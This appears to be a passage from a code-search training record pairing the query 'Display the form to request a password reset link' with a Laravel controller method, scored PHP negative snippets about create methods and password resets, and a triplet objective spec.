{}", "public function authenticationWithValidAlphaCharClassPassword() {}", "public function authenticationWithValidAlphaCharClassPassword() {}", "public function create()\n {\n return view('create0100');\n //\n }", "public function create(): void\n {\n $this->register();\n }", "public function Create() {\n parent::Create();\n\n\t\t\t$this->RegisterPropertyString(\"Password\", \"\");\n\n\t\t\t$this->RegisterPropertyString(\n\t\t\t\t'RadioStations', '[{\"position\":1,\"station\":\"NDR2 Niedersachsen\",\"station_url\":\"http://172.27.2.205:9981/stream/channel/800c150e9a6b16078a4a3b3b5aee0672\"},\n\t\t\t\t{\"position\":2,\"station\":\"MDR Jump\",\"station_url\":\"http://172.27.2.205:9981/stream/channel/0888328132708be0905731457bba8ae0\"},\n\t\t\t\t{\"position\":3,\"station\":\"Inselradio Mallorca\",\"station_url\":\"http://172.27.2.205:9981/stream/channel/14f799071150331b9a7994ca8c61f8c7\"}]'\n );\n\n $this->RegisterPropertyBoolean(\"HideVolume\",false);\n $this->RegisterPropertyBoolean(\"HideTitle\",false);\n $this->RegisterPropertyBoolean(\"HideTimeElapsed\",false);\n\n\t\t\t$this->RegisterTimer(\"KeepAliveTimer\", 1000, 'MPDP_KeepAlive($_IPS[\\'TARGET\\']);');\n\t\t}", "public function setPassword(string $password): self;", "public function create()\n {\n if($result = check_auth_to('QXXX_ADD')) return $result;\n $site = Config::get('site');\n $data['auth_type'] = $site['auth_type'];\n return view('admin.auth.create', $data);\n }", "public function actionCreate()\n {\n if($this->isAuthenticate())\n {\n $model = new SecurityEntities();\n $model->Password = \"0\";\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) \n {\n return $this->redirect(['index','type' => $model->IdEntityType]);\n } else \n {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }\n }", "function password( \n\t $name, $title = null, $value = null, \n\t $required = false, \n\t $attributes = null\n\t){\n return $this->input(\n\t $name, \n\t Form::TYPE_PASSWORD,\n\t $title, \n\t $value, \n\t $required, \n\t $attributes,\n\t null,\n\t Form::DATA_STRING\n );\n\t}", "public function create()\n {\n //TODO\n }", "public function create() {\n }", "public function create() {\n }", "protected function createController()\n {\n $name = str_replace(\"Service\",\"\",$this->argument('name'));\n\n $this->call('make:controller', [\n 'name' => \"{$name}Controller\"\n ]);\n }", "public static function create() {}", "public static function create() {}", "public static function create() {}", "public function create(array $data)\n {\n if (array_key_exists('password', $data)) {\n $data['password'] = bcrypt($data['password']);\n }\n\n return parent::create($data);\n }", "protected function createController()\n {\n $controller = Str::studly(class_basename($this->getNameInput()));\n\n $modelName = $this->qualifyClass('Models/'.$this->getNameInput());\n\n $this->call('make:controller', array_filter([\n 'name' => \"{$controller}Controller\",\n '--model' => $modelName,\n '--api' => true,\n ]));\n }", "public function newPassword() {\n $this->form_validation->set_rules('email', 'Email', 'required');\n $this->form_validation->set_rules('temp_code', 'Temporärer Code', 'required');\n $this->form_validation->set_rules('password', 'Passwort', 'required');\n \n if ($this->form_validation->run() === FALSE) {\n \t$this->error(400, 'Validation error');\n }\n \n $this->loadUser();\n \n if ($this->user_model->getValue('temp_code') != $this->input->post('temp_code')) {\n \t$this->error(404, 'Verification error');\n }\n \n if ($this->user_model->getValue('temp_code_valid_until') < date('Y-m-d H:i:s')) {\n \t$this->error(408, 'Provided code not valid anymore');\n }\n \n $this->user_model->setValue(\n \t'hashed_password',\n \tpassword_hash($this->input->post('password'), PASSWORD_DEFAULT));\n \t\n if (! $this->user_model->updatePassword()) {\n \t$this->error(400, 'Error wail updating password');\n }\n \n $data['new password'] = 'set';\n $this->response($data);\n }", "static function create($password, $strength=10) {\n return crypt($password, self::generateSalt($strength));\n }", "public function create()\n {\n // Show sigup screen\n \treturn view('session_new.register');\n }", "public function create()\n {\n return view('initializer::create');\n }", "public function create()\n {\n return Inertia::render('Auth/ForgotPassword');\n }", "public function creating(Model $model, array $data)\n {\n $data['password'] = bcrypt($data['password']);\n return $data;\n }", "public function getPasswordAdapter();", "public function create();", "public function create();", "public function create();", "public function create();", "public function create();", "public function create();" ]
[ "0.6701984", "0.6561288", "0.6560893", "0.6434429", "0.63951623", "0.61247605", "0.60970163", "0.60715383", "0.60647863", "0.59886193", "0.59331155", "0.5885282", "0.58845496", "0.58673495", "0.5856109", "0.58544976", "0.5819434", "0.57901895", "0.57815206", "0.57418096", "0.5737177", "0.5722355", "0.57102215", "0.5699953", "0.5645128", "0.5637172", "0.5634625", "0.56213087", "0.56129843", "0.55736023", "0.55515987", "0.5548337", "0.5545829", "0.5523817", "0.55076295", "0.5493716", "0.54816556", "0.5476743", "0.5473578", "0.5462664", "0.5461693", "0.54544306", "0.5451311", "0.5448272", "0.544551", "0.5428664", "0.5427044", "0.5424303", "0.54234445", "0.54194146", "0.54194146", "0.5412822", "0.54092073", "0.54041964", "0.5402318", "0.5401298", "0.5397583", "0.53834563", "0.53834563", "0.53794324", "0.5367954", "0.53575563", "0.53526616", "0.53508514", "0.5345281", "0.53382903", "0.53333867", "0.5321581", "0.53206384", "0.5319197", "0.5319197", "0.5319197", "0.53054297", "0.5304275", "0.52894694", "0.52803785", "0.52797997", "0.5273332", "0.5268855", "0.52626026", "0.5248323", "0.5248323", "0.52396417", "0.5237435", "0.5237435", "0.5237435", "0.52321184", "0.5230778", "0.52290684", "0.5226431", "0.522328", "0.52228284", "0.5218139", "0.52130044", "0.521274", "0.52118075", "0.52118075", "0.52118075", "0.52118075", "0.52118075", "0.52118075" ]
0.0
-1
Display the form to request a password reset link.
public function showLinkRequestForm() { if (property_exists($this, 'linkRequestView')) { return view($this->linkRequestView); } if (view()->exists('non-auth.password_reset.askemailform')) { return view('non-auth.password_reset.askemailform'); } return view('non-auth.password_reset.askemailform'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function showResetForm()\n {\n // if user is logged in, do not let him access this page\n if( Session::isLoggedIn() )\n {\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n $userID = SCMUtility::cleanText($_GET['userID']);\n $token = SCMUtility::stripTags($_GET['token']);\n\n if( ! $this->isOnResetPasswordSession($token) )\n {\n $this->resetPasswordSessionDeactivate();\n\n SCMUtility::setFlashMessage('Invalid Token or token has expired!');\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n $this->resetPasswordSessionDeactivate();\n\n View::make('templates/front/reset-password-form.php',compact('userID'));\n }", "public function showLinkRequestForm()\n {\n return view('auth.forgotpass');\n }", "public function showPasswordResetForm()\n\t{\n\t\t# if we get here then forget the redirect value as the user will presumably always want to go back to \n\t\t# the log-in screen after requesting a password reset\n\t\tSession::put('ignoreRedirect', true);\n\n\t\t# the reset request succeeded\n\t\tif(Session::has('success')) \n\t\t{\n\t\t\t# set some success vars\n\t\t\t$message = Session::get('success')['public'];\n\t\t\t$messageClass = \"success\";\n\t\t}\n\n\t\t# error vars, something went wrong!\n\t\tif(Session::has('reset-errors')) \n\t\t{\t\n\t\t\t# some error responses come back without a validation errors array\n\t\t\tif(isset(Session::get('reset-errors')['errors'])) {\n\t\t\t\t$errors = reformatErrors(Session::get('reset-errors')['errors']);\n\t\t\t}\n\t\t\t\n\t\t\t$message = Session::get('reset-errors')['public'];\n\t\t\t$messageClass = \"danger\";\n\n\t\t\t# grab the old form data\n\t\t\t$input = Input::old();\n\t\t}\n\n\t\t$pageTitle = \"Forgotten password\";\n\n\t\treturn View::make('auth.password-reset', compact('errors', 'message', 'messageClass', 'input', 'pageTitle'));\n\t}", "public function requestPasswordReset()\n {\n $this->View->render('user/requestPasswordReset');\n }", "public function showLinkRequestForm()\n {\n return view('pages.admin.auth.passwords.email');\n }", "public function showLinkRequestForm()\n {\n return view('auth.passwords.email');\n }", "public function showLinkRequestForm()\n {\n return view('auth.passwords.email');\n }", "public function showResetPasswordForm(){\n return view('auth.passwords.reset');\n }", "public function actionRequestpasswordreset() {\n\t\treturn $this->render('requestpasswordreset');\n\t}", "public function showResetPassword() {\n\t\treturn view(\"pages.passwordreset.resetpassword\");\n\t}", "public function displayResetPassword()\n {\n $this->render('reset-password', ['head'=>['title'=>'Réinitialisation de votre mot de passe', 'meta_description'=>'']]);\n }", "public function actionPasswordReset()\n\t{\n\t\t$this->render('passwordReset');\n\t}", "public function reset_password_form()\n\t{\n\t\t$code = Input::get('code');\n\t\tif($user = $this->repo->checkResetCode($code))\n\t\t\treturn View::make('authentication.reset_password')->with('user',$user)->with('code',$code);\n\t\treturn Redirect::to('forgot_password');\n\t}", "public function showForgotPassword() {\n\t\treturn view(\"pages.passwordreset.forgotpassword\");\n\t}", "function requestpasswordreset()\n {\n $this->view->render('login/requestpasswordreset');\n }", "public function displayForgotPassword()\n {\n $this->render('forgot-password', ['head'=>['title'=>'Mot de passe oublié', 'meta_description'=>'']]);\n }", "public function actionResetPassword()\n\t{\n\t\t\n\t\tif(isset($_GET['resetKey'])) // Uzivatel prisel pres aktivacni link\n\t\t{\n\t\t\t$scenario = 'resetSubmit';\n\t\t\t$model = $this->resetSubmit($_GET['resetKey']);\n\t\t}\n\t\telse // Uzivatel teprve zada o obnovu hesla\n\t\t{\n\t\t\t$scenario = 'resetRequest';\n\t\t\t$model = $this->resetRequest();\n\t\t}\t\n\t\t\n\t\t$this->render('resetPassword', array(\n\t\t\t\t'model' => $model,\n\t\t\t\t'scenario' => $scenario,\n\t\t\t)\n\t\t);\n\t}", "public function showLinkRequestForm()\n {\n return view('auth.affiliate.passwords.email');\n }", "function requestpasswordreset_action()\n {\n $login_model = $this->loadModel('Login');\n // set token (= a random hash string and a timestamp) into database\n // to see that THIS user really requested a password reset\n if ($login_model->setPasswordResetDatabaseToken() == true) {\n // send a mail to the user, containing a link with that token hash string\n $login_model->sendPasswordResetMail();\n }\n $this->view->render('login/requestpasswordreset');\n }", "public function showLinkRequestForm(): View\n {\n return view('admin::auth.passwords.email');\n }", "public function showLinkRequestForm()\n {\n return view('auth.organizer.passwords.email');\n }", "public function admin_reset_password_form() {\n if ($this->checkLogin('A') == '') {\n\t\t\t$reset_id = $this->uri->segment(4);\t\t\t\n\t\t\t$condition = array('reset_id' => $reset_id);\n $check_admin = $this->admin_model->get_selected_fields(ADMIN, $condition, array('email'));\n\t\t\t$this->data['admin_type']='';\n if ($check_admin->num_rows() == 0) {\n\t\t\t\t$check_admin = $this->admin_model->get_selected_fields(SUBADMIN, $condition, array('email'));\n\t\t\t\tif ($check_admin->num_rows() == 0) {\n\t\t\t\t\t$this->setErrorMessage('error', 'This link has been removed.','admin_adminlogin_link_has_removed');\n\t\t\t\t}else{\n\t\t\t\t\t$this->data['admin_type'] = SUBADMIN;\n\t\t\t\t}\n }else{\n\t\t\t\t$this->data['admin_type'] = ADMIN;\n\t\t\t}\n\t\t\tif($this->data['admin_type']==''){\n\t\t\t\tredirect(ADMIN_ENC_URL);\n\t\t\t}else{\n\t\t\t\t$this->data['reset_id'] = $reset_id;\n\t\t\t\t$this->load->view(ADMIN_ENC_URL.'/templates/reset_password.php', $this->data);\n\t\t\t}\n } else {\n redirect(ADMIN_ENC_URL.'/dashboard');\n }\n }", "public function admin_forgot_password_form() {\n if ($this->checkLogin('A') == '') {\n\t\t\t\t$this->load->view(ADMIN_ENC_URL.'/templates/forgot_password.php', $this->data);\n } else {\n redirect(ADMIN_ENC_URL.'/dashboard');\n }\n }", "public function showLinkRequestForm()\n {\n if (property_exists($this, 'linkRequestView')) {\n return view($this->linkRequestView);\n }\n return $this->load_theme('auth.password.email');\n }", "function forgotten_password_reset()\n {\t\n $data['heading'] = $this->lang->line('FAL_forgotten_password_label');\n $data['fal'] = $this->fal_front->forgotten_password_reset();\n\t $this->load->view($this->_container, $data); \n }", "public function passwordForgotAction()\n {\n // get the view vars\n $errors = $this->view->errors;\n\n $this->processInput( null, null, $errors );\n\n // check if there were any errors\n if ( $errors->hasErrors() ) {\n return $this->renderPage( 'errors' );\n }\n\n return $this->renderPage( 'authPasswordForgot' );\n }", "public function password_resetAction()\n {\n // user clicks link via email so we check them then show change password form\n if ($this->request->getQuery('c')) {\n // decrypt user\n $dec = rawurldecode($this->request->getQuery('c'));\n $decr = $this->getDI()->getShared('crypt')->decrypt($dec);\n $decar = json_decode($decr);\n\n // get the decrypted user info from url\n $user_id = $decar->user_id;\n $user_name = $decar->username;\n $time = $decar->time;\n $key = $decar->key;\n\n // check the link has not expired\n if ($time > (time() - 7200)) { // link expires after 2 hours\n // Show the set form\n $user = Users::findFirst(array('id=:user_id: AND username=:username:', 'bind' => array('user_id' => $user_id, 'username' => $user_name)));\n if ($user == TRUE) {\n $hash = md5($user->id . $user->email . $user->password . $this->config->auth->hash_key);\n if ($key == $hash) {\n $this->view->setVar('c', rawurlencode($dec));\n $this->view->setVar('user', $user->id);\n $this->view->setVar('username', $user_name);\n } else {\n $this->flashSession->error(\n '<i class=\"close icon\"></i>' .\n '<div class=\"ui header\">' . __('Error') . '!</div> ' .\n '<div class=\"content\">Invalid key. You may have used an out of date link.</div>');\n }\n } else {\n $this->flashSession->error(\n '<i class=\"close icon\"></i>' .\n '<div class=\"ui header\">' . __('Error') . '!</div> ' .\n '<div class=\"content\">Invalid user.</div>');\n }\n } else {\n $this->flashSession->error(\n '<i class=\"close icon\"></i>' .\n '<div class=\"ui header\">' . __('Error') . '!</div> ' .\n '<div class=\"content\">The password reset link is invalid or has expired.</div>');\n }\n\n // send the reset email\n } else if ($this->request->isPost() == TRUE) {\n // request reset email submission\n if ($this->request->getPost('action') == 'request_reset') {\n if ($this->security->checkToken()) {\n $validation = new \\Baseapp\\Extension\\Validation();\n $validation->add('email', new \\Phalcon\\Validation\\Validator\\PresenceOf());\n $validation->add('email', new \\Phalcon\\Validation\\Validator\\Email());\n $validation->setLabels(array('email' => 'Email'));\n $messages = $validation->validate($_POST);\n if (count($messages)) {\n $this->view->setVar('errors', $validation->getMessages());\n } else {\n $email = $this->request->getPost('email', 'email');\n $email_conf = Users::findFirst(array('email=:email:', 'bind' => array('email' => $email)));\n if ($email_conf == TRUE) {\n $send = $email_conf->sendReset($email);\n if ($send) {\n $this->flashSession->notice(\n '<i class=\"close icon\"></i>' .\n '<div class=\"ui header\">' . __('Check your inbox!') . '!</div> ' .\n '<div class=\"content\">An email has been sent to you containing a link to reset your password.</div>');\n }\n } else {\n $this->flashSession->error(\n '<i class=\"close icon\"></i>' .\n '<div class=\"ui header\">' . __('Error') . '!</div> ' .\n '<div class=\"content\">We do not have a record of that email address.</div>');\n }\n\n }\n }\n // process and validate the reset form\n } else if ($this->request->getPost('action') == 'change_pass') {\n if ($this->security->checkToken()) {\n // Reset the password\n if ($this->request->getPost('c')) {\n $dec = rawurldecode($this->request->getPost('c'));\n $decr = $this->getDI()->getShared('crypt')->decrypt($dec);\n $decar = json_decode($decr);\n\n // get the decrypted user info from form\n $user_id = $decar->user_id;\n $user_name = $decar->username;\n $time = $decar->time;\n $key = $decar->key;\n if ($time > (time() - 7200)) { // link expires after 2 hours\n // validate\n $user = Users::findFirst(array('id=:user_id: AND username=:username:', 'bind' => array('user_id' => $user_id, 'username' => $user_name)));\n if ($user == TRUE) {\n $hash = md5($user->id . $user->email . $user->password . $this->config->auth->hash_key);\n if ($key == $hash) {\n $this->view->setVar('username', $user->username);\n $this->view->setVar('c', $this->request->getPost('c'));\n $validation = new \\Baseapp\\Extension\\Validation();\n $validation->add('pass', new \\Baseapp\\Extension\\Password());\n $validation->add('pass_conf', new \\Phalcon\\Validation\\Validator\\Confirmation(array(\n 'with' => 'pass',\n )));\n $validation->setLabels(array('pass' => 'Password', 'pass_conf' => 'Confirm password'));\n $messages = $validation->validate($_POST);\n if (count($messages)) {\n $this->view->setVar('errors', $validation->getMessages());\n } else {\n // update user's password\n $new_pass = $this->auth->hashPass($this->request->getPost('pass'));\n $user->password = $new_pass;\n if ($user->update() == TRUE) {\n $this->flashSession->success(\n '<i class=\"close icon\"></i>' .\n '<div class=\"ui header\">' . __('Password updated') . '!</div> ' .\n '<div class=\"content\">Your password has been successfully updated. Please login.</div>');\n $this->view->setVar('completed', '1');\n $this->response->redirect('user/signin');\n } else {\n echo 'Update failed';\n exit;\n }\n }\n } else {\n $this->flashSession->error(\n '<i class=\"close icon\"></i>' .\n '<div class=\"ui header\">' . __('Error') . '!</div> ' .\n '<div class=\"content\">Invalid key.</div>');\n }\n } else {\n $this->flashSession->error(\n '<i class=\"close icon\"></i>' .\n '<div class=\"ui header\">' . __('Error') . '!</div> ' .\n '<div class=\"content\">Invalid user.</div>');\n }\n } else {\n $this->flashSession->error(\n '<i class=\"close icon\"></i>' .\n '<div class=\"ui header\">' . __('Error') . '!</div> ' .\n '<div class=\"content\">The password reset link is invalid or has expired.</div>');\n }\n\n }\n } else {\n // CSRF check failed\n $this->flashSession->warning(\n '<i class=\"close icon\"></i>' .\n '<div class=\"ui header\">Form expired!</div> ' .\n '<div class=\"content\">The form has expired. Please try again.</div>');\n }\n }\n } else {\n // show the initial form where user enters email\n }\n }", "public function forgot_password()\n\t{\n\t\t$this->load->view('admin/forgot_password/forgot_password_form');\n\t}", "public function showPasswordResetForm(string $token): void\n {\n /** Si le token passer en paramètre n'est pas de la longueur attendu */\n if (strlen($token) !== 100)\n {\n FlashMessageService::addErrorMessage('Le lien de reinitialisation n\\'est pas valide.');\n $this->redirectWithAltoRouter('home');\n }\n else\n {\n /** Récupérer l'utilisateur correspondant au token */\n $userInfo = (new Users())->setPasswordResetToken($token)->getUserByPasswordResetToken();\n /** Si on ne trouve pas d'utilisateur correspondant */\n if ($userInfo === false)\n {\n FlashMessageService::addErrorMessage('Le lien demander n\\'est pas reconnu.');\n $this->redirectWithAltoRouter('login');\n }\n }\n $this->render('Authentification/ResetPasswordForm', 'Reinitialisation du mot de passe.');\n }", "public function sendResetLink()\n {\n return $this->authService->sendPasswordResetLink(request()->input('email'));\n }", "public function showSendResetTokenForm(string $email = ''): void\n {\n $this->render('Authentification/RequestResetPassword', 'Demande de reinitialisation de mot de passe', ['email' => $email]);\n }", "public function getPasswordResetForm();", "public function actionForgotPassword() {\n\t\tif (!\\Yii::$app->user->isGuest) {\n\t\t\treturn $this->redirect( Url::to(['users/myprofile']) );\n\t\t}\n\t\t$model = new PasswordResetRequestForm();\n\t\tif ($model->load(Yii::$app->request->post()) && $model->validate()) {\n if ($model->sendEmail()) {\n Yii::$app->session->setFlash('item', Yii::t('yii','Password reset link has been sent to your email address.'));\n\t\t\t\treturn $this->redirect( Url::to(['site/login']) );\n } else {\n Yii::$app->session->setFlash('item', Yii::t('yii','Sorry, We are unable to reset the password for the email provided.'));\n return $this->redirect( Url::to(['site/login']) );\n }\n }\n return $this->render('requestPasswordResetToken', [\n 'model' => $model,\n ]);\n }", "public function actionRequestPasswordReset()\n {\n $model = new PasswordResetRequestForm();\n\n if (!$model->load(Yii::$app->request->post()) || !$model->validate()) {\n return $this->render('requestPasswordResetToken', ['model' => $model]);\n }\n\n if (!$model->sendEmail()) {\n Yii::$app->session->setFlash('error', Yii::t('app', \n 'Sorry, we are unable to reset password for email provided.'));\n return $this->refresh();\n }\n\n Yii::$app->session->setFlash('success', Yii::t('app', 'Check your email for further instructions.'));\n\n return $this->goHome();\n }", "public function forgot_password(){\n\n $this->data[\"title_tag\"]=\"Lobster | Accounts | Forgot Password\";\n\n $this->view(\"accounts/forgot_password\",$this->data);\n }", "public function passwordformAction(){\n\t\t/*if($this->_request->getParam('error')){\n\t\t\t$this->view->assign('messages',$this->_messages->getMessages());\n\t\t}*/\n\t\t\t\t\n\t\t$form = new Bel_Forms_Builder('passreset_form','/usermanagement/profile/savepassword');\n\t\t$this->view->assign('form',$form);\n\t\t$this->view->display('forms/ajax.tpl');\t\t\n\t}", "public function requestPassReset()\n {\n $this->form->addText('email', 'Email')\n ->setRequired('Email field is required')\n ->addRule(Form::EMAIL, 'Please write a valid email address')\n ->addRule(callback($this, 'checkEmailExists'), 'Sorry, the email %value does not exists on our registry', 'email');\n\n $this->form->addSubmit('send', 'Reset Password');\n\n $this->form->onSuccess[] = callback($this, 'requestPassResetProcess');\n return $this->form;\n }", "protected function showForgot() {}", "protected function password_reset() {\n return \"password_reset page\";\n }", "public function showResetRequestPage()\n {\n $form = $this->container->get('form.factory')\n ->create(new ResettingRequestForm());\n return $this->render('TracktusUserBundle:Resetting:resetting_request.html.twig', \n array('form' => $form->createView()));\n }", "public function showResetPassword()\n {\n return view('users.password_reset');\n }", "public function showPasswordForm()\n {\n return view('parameters.users.change_password');\n }", "public static function lost_password() {\n\t\t/**\n\t\t * After sending the reset link, don't show the form again.\n\t\t */\n\t\tif ( ! empty( $_GET['reset-link-sent'] ) ) {\n\t\t\treturn ur_get_template( 'myaccount/lost-password-confirmation.php' );\n\n\t\t\t/**\n\t\t\t * Process reset key / login from email confirmation link\n\t\t\t */\n\t\t} elseif ( ! empty( $_GET['show-reset-form'] ) ) {\n\n\t\t\tif ( isset( $_COOKIE[ 'wp-resetpass-' . COOKIEHASH ] ) && 0 < strpos( $_COOKIE[ 'wp-resetpass-' . COOKIEHASH ], ':' ) ) {\n\t\t\t\tlist( $rp_login, $rp_key ) = array_map( 'ur_clean', explode( ':', wp_unslash( $_COOKIE[ 'wp-resetpass-' . COOKIEHASH ] ), 2 ) );\n\t\t\t\t$user = self::check_password_reset_key( $rp_key, $rp_login );\n\n\t\t\t\tif ( ! empty( $user ) ) {\n\t\t\t\t\t$form_id = ur_get_form_id_by_userid( $user->ID );\n\t\t\t\t\t$enable_strong_password = ur_get_single_post_meta( $form_id, 'user_registration_form_setting_enable_strong_password' );\n\t\t\t\t\t$minimum_password_strength = ur_get_single_post_meta( $form_id, 'user_registration_form_setting_minimum_password_strength' );\n\n\t\t\t\t\tif ( 'yes' === $enable_strong_password || '1' === $enable_strong_password ) {\n\n\t\t\t\t\t\t// Enqueue script.\n\t\t\t\t\t\twp_enqueue_script( 'ur-password-strength-meter' );\n\t\t\t\t\t\twp_localize_script( 'ur-password-strength-meter', 'enable_strong_password', $enable_strong_password );\n\t\t\t\t\t}\n\n\t\t\t\t\t// reset key / login is correct, display reset password form with hidden key / login values.\n\t\t\t\t\tif ( is_object( $user ) ) {\n\t\t\t\t\t\treturn ur_get_template(\n\t\t\t\t\t\t\t'myaccount/form-reset-password.php',\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'key' => $rp_key,\n\t\t\t\t\t\t\t\t'login' => $rp_login,\n\t\t\t\t\t\t\t\t'enable_strong_password' => $enable_strong_password,\n\t\t\t\t\t\t\t\t'minimum_password_strength' => $minimum_password_strength,\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tself::set_reset_password_cookie();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Show lost password form by default.\n\t\tur_get_template(\n\t\t\t'myaccount/form-lost-password.php',\n\t\t\tarray(\n\t\t\t\t'form' => 'lost_password',\n\t\t\t)\n\t\t);\n\t}", "public function passwordResetAction()\n {\n // get the view vars\n $errors = $this->view->errors;\n $site = $this->view->site;\n $validator = $this->view->validator;\n\n // set the input params\n $requiredParams = array(\n 'code',\n );\n\n $input = $this->processInput( $requiredParams, null, $errors );\n\n // check if there were any errors\n if ( $errors->hasErrors() ) {\n return $this->renderPage( 'errors' );\n }\n\n // decode the hash and gets its parts, confirm all good and allow user to change password\n list( $userIdentification, $timestamp, $signature ) = explode( '|', base64_decode( urldecode( $input->code ) ) );\n\n // first assume userIdentification is a username\n $user = $site->getUserByUsername( $userIdentification );\n\n // if userIdentification is not a username, use userIdentification as an email address\n if ( ! $user ) {\n $user = $site->getUserByEmailAddress( $userIdentification );\n }\n\n $validator->checkValidUser( $user, $errors );\n $validator->checkValidResetPasswordCode( $site, $userIdentification, $timestamp, $signature, $errors );\n\n if ( $errors->hasErrors() ) {\n return $this->renderPage( 'errors' );\n }\n\n return $this->renderPage( 'authPasswordReset' );\n }", "public function showResetForm($token = null)\n {\n $email = PasswordReset::where('token',explode('=', $token)[1])->first()->email;\n return view('auth.passwords.reset', compact('email'));\n }", "public function add_to_reset_pass_form() {\n\t\t$this->recaptcha->show_recaptcha( array( 'action' => ITSEC_Recaptcha::A_RESET_PASS ) );\n\t}", "public function new_password_form()\n {\n $markers = array();\n $markers['errors'] = $this->Register['Validate']->getErrors();\n if (isset($_SESSION['FpsForm'])) unset($_SESSION['FpsForm']);\n\n\n $markers['action'] = get_url('/users/send_new_password/');\n $source = $this->render('newpasswordform.html', array('context' => $markers));\n\n\n // Navigation PAnel\n $nav = array();\n $nav['navigation'] = get_link(__('Home'), '/') . __('Separator')\n . get_link(h($this->module_title), '/users/') . __('Separator') . __('Password repair');\n $this->_globalize($nav);\n\n\n return $this->_view($source);\n }", "public function forgotPasswordAction()\n {\n $form = $this->createForm(new LoginType());\n\n return $this->render(\n 'iFlairLetsBonusFrontBundle:Homepage:forgot_password.html.twig',\n [\n 'login_form' => $form->createView(),\n ]\n );\n }", "public function forgotPassword()\n {\n // if user is logged in, do not let him access this page\n if( Session::isLoggedIn() )\n {\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n View::make('templates/front/forgot-password.php',array());\n }", "public function actionForgot()\n {\n $model = new UserForgotForm();\n\n /* if form is submitted */\n if ($model->load(request()->post())) {\n if($model->sendEmail()) {\n notify()->addSuccess(t('app', 'Please check your email for confirmation!'));\n }\n return $this->redirect(['admin/index']);\n }\n\n /* view params */\n $this->setViewParams([\n 'pageTitle' => view_param('pageTitle') . ' | ' . t('app', 'Forgot password'),\n ]);\n\n app()->view->title = t('app', 'Forgot Password') . ' - ' . options()->get('app.settings.common.siteName', 'EasyAds');\n\n /* custom body class */\n $this->view->params['bodyClasses'] .= ' login-page';\n\n /* render the view */\n return $this->render('forgot', [\n 'model' => $model,\n ]);\n }", "public function forgotPassword()\r\n {\r\n return View::make(Config::get('confide::forgot_password_form'));\r\n }", "public function forgotpassword() {\n\n\t\t$login_box_visiblity = '';\n\t\t$forgot_box_visiblity = 'visible';\n\n\t\t$this->JQValidator->addValidation('User', $this->User->validate, 'UserLoginForm');\n\t\t$this->JQValidator->addValidation('ForgotPasswordForm', $this->ForgotPasswordForm->validate, 'ForgotPasswordForm');\n\n\t\t$this->set(compact('login_box_visiblity', 'forgot_box_visiblity'));\n\n\t\tif (array_key_exists('ForgotPasswordForm', $this->data)) {\n\t\t\t$flag = $this->ForgotPassword->sendMail($this->data['ForgotPasswordForm'], 'admin');\n\n\t\t\tif ($flag) {\n\t\t\t\t$this->redirect('login');\n\t\t\t}\n\t\t} else {\n\t\t\t$this->login();\n\t\t}\n\t}", "public function forgot_password()\n {\n return View::make(Config::get('confide::forgot_password_form'));\n }", "public function forgotPassword(){\r\n\r\n fn_logged_in();\r\n\r\n $view = \"forgot_password\";\r\n $data = array(\r\n \"page_title\" => \"Forgot Password\"\r\n );\r\n $this->render_page($view, $data);\r\n }", "Public Function resetPassword()\n\t{\n\t\t$Code = $this->generateResetCode();\n\t\t$Email = $this->email;\n\t\t$Subject = 'Reset Password Request from ' . $_SERVER['HTTP_HOST'];\n\t\t$Body = <<<END\nThis is an automatically generated email from $_SERVER[HTTP_HOST] regarding a password reset.<br/>\nIf you did not request a password reset then please disregard this email.<br/>\n<br/>\nOtherwise, follow this link to reset your password:<br/>\n<a href=\"http://$_SERVER[HTTP_HOST]/BevoMedia/Index/ResetPassword.html?EmailCode=$Code&Email=$Email\">http://$_SERVER[HTTP_HOST]/BevoMedia/Index/ResetPassword.html?EmailCode=$Code&Email=$Email</a>\nEND;\n\t\t\n\t\t$this->ClearResetCode();\n\t\t$this->InsertResetCode($Code);\n\t\t$this->SendEmail($Email, $Subject, $Body);\n\t}", "public function forgot_password()\n\t{\n\t\t$email = Input::get('email');\n\n\t\t//Get reset code and send email\n\t\tif($resetCode = $this->repo->getResetCode($email))\n\t\t{\n\t\t\treturn View::make('authentication.confirm_reset_code_sent')->with('email',$email)->with('resetCode',$resetCode);\n\t\t}\n\t\treturn View::make('authentication.forgot_password')->withInput(Input::all()); \n\t}", "public function forgotPasswordAction()\n {\n $form = new ForgotPasswordForm();\n\n if ($this->request->isPost())\n {\n if($this->security->checkToken())\n {\n // Send emails only is config value is set to true\n if ($this->getDI()->get('config')->useMail) {\n\n if ($form->isValid($this->request->getPost()) == false) {\n foreach ($form->getMessages() as $message) {\n $this->flash->error($message);\n }\n } else {\n\n $user = Users::findFirstByEmail($this->request->getPost('email'));\n if (!$user) {\n $this->flash->success('There is no account associated to this email');\n } else {\n\n $resetPassword = new ResetPasswords();\n $resetPassword->usersId = $user->id;\n if ($resetPassword->save()) {\n // $this->flash->success('Success! Please check your messages for an email reset password');\n $this->flashSess->success(\"Success! Please check your messages for an email reset password\");\n $this->view->disable();\n return $this->response->redirect('');\n } else {\n foreach ($resetPassword->getMessages() as $message) {\n $this->flash->error($message);\n }\n }\n }\n }\n } else {\n $this->flash->warning('Emails are currently disabled. Change config key \"useMail\" to true to enable emails.');\n }\n }\n else {\n $this->flash->error('CSRF Validation is Failed');\n }\n }\n $this->view->form = $form;\n }", "public function passwordResetForm($token)\n {\n return view('turtle::auth.password.reset', compact('token'));\n }", "public function sendForgotPasswordLink(){\n return $this->repository->sendForgotPasswordLink();\n }", "public function forgotPasswordAction ()\n {\n $this->view->setRenderLevel (View::LEVEL_ACTION_VIEW);\n }", "public function showResetForm(Request $request)\n {\n $token = $request->token;\n\n if (!$token) {\n return redirect()->route('crm.password.email');\n }\n\n $user = $this->user->findByPasswordResetToken($token);\n\n if ($user && app()->make('auth.password.broker')->tokenExists($user, $token)) {\n return view('core.auth.passwords.reset')\n ->withToken($token)->withForm(['route' => 